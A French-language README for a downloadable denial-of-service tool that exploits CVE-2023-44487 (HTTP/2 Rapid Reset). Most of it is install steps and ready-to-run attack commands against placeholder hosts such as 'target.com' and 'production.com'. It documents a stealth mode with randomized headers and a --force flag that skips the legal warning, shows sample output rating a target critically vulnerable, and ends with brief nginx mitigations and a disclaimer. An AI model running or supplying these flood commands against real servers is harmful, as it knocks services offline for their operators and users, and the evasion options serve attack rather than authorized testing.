
Framework avancé d'exploitation de la vulnérabilité CVE-2023-44487 HTTP/2 Rapid Reset. Il propose des attaques concurrentes multi-connexions, un contrôle adaptatif du débit, un mode furtif avec en-têtes aléatoires, des métriques en temps réel et des rapports d'évaluation des risques. Réservé aux tests d'intrusion autorisés. Par Sudeepa Wanigarathna.
Édition professionnelle v1.0.1 | Auteur : Sudeepa Wanigarathna
Un framework d'évaluation de qualité professionnelle pour CVE-2023-44487, la vulnérabilité HTTP/2 Rapid Reset. Cet outil aide les professionnels de la sécurité à tester et valider les systèmes contre l'une des conditions DoS HTTP/2 les plus impactantes divulguées ces dernières années.
Il démontre comment la création et la réinitialisation rapides de flux HTTP/2 peuvent épuiser les ressources du serveur et provoquer des conditions de déni de service (DoS).
| Utilisation | Résultats |
|---|---|
![]() | ![]() |
| Attribut | Valeur |
|---|---|
| Identifiant CVE | CVE-2023-44487 |
| Score CVSS | 7,5 (Élevé) |
| Vecteur d'attaque | Réseau |
| Complexité de l'attaque | Faible |
| Impact | Déni de service (épuisement des ressources) |
| Protocoles concernés | HTTP/2 |
| Date de divulgation | Octobre 2023 |
La vulnérabilité exploite le mécanisme de gestion des flux du protocole HTTP/2 :
| Fonctionnalité | Description |
|---|---|
| Support HTTP/2 | Implémentation complète du protocole HTTP/2 à l'aide de la bibliothèque h2 |
| Multi-connexion | Attaque simultanée sur plusieurs connexions |
| SSL/TLS | Support HTTPS avec options de vérification des certificats |
| Contrôle adaptatif du débit | Ajuste dynamiquement le débit d'attaque en fonction de la réponse du serveur |
| Mode furtif | En-têtes aléatoires et rotation des connexions |
| Surveillance en temps réel | Affichage des métriques en direct pendant l'exécution |
| Rapports complets | Sortie JSON/CSV avec évaluation des risques |
| Support Docker | Déploiement conteneurisé pour des tests faciles |
| Composant | Minimum | Recommandé |
|---|---|---|
| Système d'exploitation | Linux / macOS / Windows | Linux ou macOS |
| Python | 3.7+ | 3.11+ |
| CPU | 2 cœurs | 4+ cœurs |
| RAM | 2 Go | 4 Go+ |
| Réseau | 100 Mbit/s | 1 Gbit/s+ |
h2>=4.1.0,<5.0.0
aiohttp>=3.8.0,<4.0.0
# Clone the repository
git clone https://github.com/CerberusMrXi/CVE-2023-44487-HTTP2-DoS-Rapid-Reset-Exploit
cd CVE-2023-44487-HTTP2-DoS-Rapid-Reset-Exploit
# Install dependencies
pip install -r requirements.txt
# Verify installation
python3 cve-2023-44487-exploit.py --help
# Create virtual environment
python3 -m venv venv
# Activate virtual environment
# On Linux/macOS:
source venv/bin/activate
# On Windows:
venv\Scripts\activate
# Install dependencies
pip install -r requirements.txt
# Build Docker image
docker build -t cve-2023-44487-exploit .
# Run with Docker
docker run --rm cve-2023-44487-exploit target.com
# Install without requirements.txt
pip install "h2>=4.1.0,<5.0.0" "aiohttp>=3.8.0,<4.0.0"
# Download the exploit
wget https://raw.githubusercontent.com/CerberusMrXi/CVE-2023-44487-HTTP2-DoS-Rapid-Reset-Exploit/main/cve-2023-44487-exploit.py
# Make executable
chmod +x cve-2023-44487-exploit.py
# Simple run with default settings
python3 cve-2023-44487-exploit.py example.com
# Test HTTPS on port 443
python3 cve-2023-44487-exploit.py target.com -p 443 --no-verify
# Test HTTP on port 80
python3 cve-2023-44487-exploit.py target.com -p 80 --no-ssl
python3 cve-2023-44487-exploit.py target.com -c 10 -s 100 -d 5 --no-verify
python3 cve-2023-44487-exploit.py target.com -c 100 -s 2000 -d 60 --stealth --no-verify
| Option | Description | Défaut |
|---|---|---|
host | Nom d'hôte ou IP de la cible | Obligatoire |
-p, --port | Port de la cible | 443 |
--no-ssl | Désactiver SSL/TLS | False |
--no-verify | Ignorer la vérification SSL | False |
| Option | Description | Défaut |
|---|---|---|
-c, --connections | Nombre de connexions simultanées | 50 |
-s, --streams | Flux par connexion | 1000 |
-d, --duration | Durée en secondes | 30 |
--max-streams | Nombre maximal total de flux | 100000 |
--delay | Délai de base entre les opérations | 0.0001s |
| Option | Description | Défaut |
|---|---|---|
--adaptive | Contrôle adaptatif du débit | True |
--target-rps | Requêtes cibles par seconde | 10000 |
--stealth | Mode furtif (en-têtes aléatoires) | False |
--skip-validation | Ignorer la validation de la cible | False |
--force | Ignorer l'invite d'avertissement légal | False |
| Option | Description | Défaut |
|---|---|---|
-o, --output | Nom du fichier de sortie | exploit_results.json |
--format | Format de sortie (json / csv / console) | json |
-v, --verbose | Journalisation détaillée | False |
Utilisez les indicateurs CLI ci-dessus pour ajuster la concurrence, le volume de flux, la durée et les rapports. Privilégiez des valeurs -c / -s / -d faibles pour la validation initiale, puis montez en charge uniquement sur des systèmes que vous êtes autorisé à tester sous contrainte.
| Scénario | Indicateurs suggérés |
|---|---|
| Test de fumée | -c 10 -s 100 -d 5 |
| Évaluation standard | -c 50 -s 1000 -d 30 |
| Test de laboratoire à charge élevée | -c 100 -s 2000 -d 60 --stealth |
| Certificat non fiable | --no-verify |
| HTTP en clair | -p 80 --no-ssl |
docker build -t cve-2023-44487-exploit .
docker run --rm cve-2023-44487-exploit target.com
docker run --rm cve-2023-44487-exploit target.com -c 100 -s 2000 -d 60
docker run --rm -v "$(pwd)/results:/app/results" \
cve-2023-44487-exploit target.com -o /app/results/report.json
docker run --rm -it --entrypoint /bin/bash cve-2023-44487-exploit
# Start with docker-compose
docker-compose up
# Run with a custom command
docker-compose run --rm exploit target.com -c 100 -s 2000 -d 60
python3 cve-2023-44487-exploit.py api.example.com -p 443 --no-verify -c 50 -s 1000 -d 30
python3 cve-2023-44487-exploit.py api.example.com -p 80 --no-ssl -c 50 -s 1000 -d 30
python3 cve-2023-44487-exploit.py target.com -c 200 -s 5000 -d 120 --target-rps 50000
python3 cve-2023-44487-exploit.py target.com --stealth -c 100 -s 2000 -d 60
python3 cve-2023-44487-exploit.py target.com -c 10 -s 100 -d 5 --no-verify
python3 cve-2023-44487-exploit.py target.com --format csv -o report.csv
python3 cve-2023-44487-exploit.py target.com --skip-validation -c 50 -s 1000 -d 30
python3 cve-2023-44487-exploit.py production.com -p 443 --no-verify \
-c 100 -s 2000 -d 60 --stealth -o full_report.json
| Métrique | Description | Interprétation |
|---|---|---|
| Flux totaux | Nombre de flux créés | Nombre plus élevé = charge générée plus importante |
| Réinitialisations réussies | Flux réinitialisés avec succès | Généralement >90 % sur les cibles vulnérables |
| Taux de réinitialisation (RPS) | Réinitialisations par seconde | Taux plus élevé = charge plus efficace |
| Taux de réussite | Pourcentage de réinitialisations réussies | >90 % indique souvent une exposition |
| Erreurs de connexion | Connexions échouées | Faible = connectivité stable |
| Réinitialisations serveur | Réinitialisations initiées par le serveur | Élevé = présence de mesures de protection |
| Niveau | Score | Signification |
|---|---|---|
| CRITIQUE | 80–100 | Serveur hautement vulnérable |
| ÉLEVÉ | 60–79 | Serveur vulnérable, protection partielle |
| MOYEN | 40–59 | Une certaine protection en place |
| FAIBLE | 0–39 | Serveur bien protégé |
================================================================================
EXPLOIT EXECUTION SUMMARY
================================================================================
Target: target.com:443
Duration: 30.00s
Total Streams: 15,234
Successful Resets: 15,198
Reset Rate: 506.6/s
Success Rate: 99.76%
Connection Errors: 0
--------------------------------------------------------------------------------
RISK ASSESSMENT
--------------------------------------------------------------------------------
Risk Level: CRITICAL
Risk Score: 95/100
Factors:
- Extremely high reset rate accepted
- Very high success rate
================================================================================
Appliquez les correctifs de sécurité
Implémentez la limitation de débit
# Nginx rate limiting example
http {
limit_req_zone $binary_remote_addr zone=http2:10m rate=10r/s;
limit_req zone=http2 burst=20 nodelay;
}
Limites de connexion
# Limit connections per client
limit_conn_zone $binary_remote_addr zone=conn_zone:10m;
limit_conn conn_zone 10;
| Paramètre | Recommandation |
|---|---|
| Flux simultanés max | Définir entre 100 et 200 par connexion |
| Taux de réinitialisation des flux | Limiter à <100/sec par client |
| Limite de connexions | Maximum de 50 à 100 connexions par IP |
| Valeurs de délai d'attente | Réduire les délais d'inactivité |
| Limites de taille des requêtes | Limiter les tailles d'en-têtes et la charge utile |
# Monitor HTTP/2 connections
netstat -an | grep 443 | grep ESTABLISHED | wc -l
# Monitor reset-related log entries (example)
grep "RST_STREAM" /var/log/nginx/error.log | wc -l
IMPORTANT : LISEZ CE DOCUMENT ATTENTIVEMENT AVANT D'UTILISER CET OUTIL
Cet outil est fourni uniquement à des fins de tests de sécurité autorisés et d'éducation.
En utilisant cet outil, vous reconnaissez et acceptez que :
Cet outil ne doit PAS être utilisé pour :
L'AUTEUR ET LES CONTRIBUTEURS FOURNISSENT CET OUTIL « TEL QUEL », SANS AUCUNE GARANTIE. L'UTILISATION DE CET OUTIL SE FAIT À VOS PROPRES RISQUES. L'AUTEUR N'EST PAS RESPONSABLE DES DOMMAGES OU PROBLÈMES JURIDIQUES RÉSULTANT DE L'UTILISATION DE CET OUTIL.
L'utilisation non autorisée de cet outil peut violer des lois, notamment :
Sudeepa Wanigarathna
connection_attempts--skip-validationCe projet est sous licence MIT — voir le fichier LICENSE pour plus de détails.
h2, aiohttp)Pour les problèmes et questions :
# Quick Commands
# Test HTTPS (skip cert verify)
python3 cve-2023-44487-exploit.py target.com --no-verify
# Test HTTP
python3 cve-2023-44487-exploit.py target.com -p 80 --no-ssl
# Quick test (5 seconds)
python3 cve-2023-44487-exploit.py target.com -c 10 -s 100 -d 5
# Full assessment
python3 cve-2023-44487-exploit.py target.com -c 100 -s 2000 -d 60 --stealth
# Skip validation
python3 cve-2023-44487-exploit.py target.com --skip-validation
# Docker
docker run --rm cve-2023-44487-exploit target.com
# Help
python3 cve-2023-44487-exploit.py --help
RAPPEL : Obtenez toujours une autorisation appropriée avant de tester un système. Utilisez cet outil de manière responsable et éthique.
Maintenu par Sudeepa Wanigarathna | Dernière mise à jour : août 2026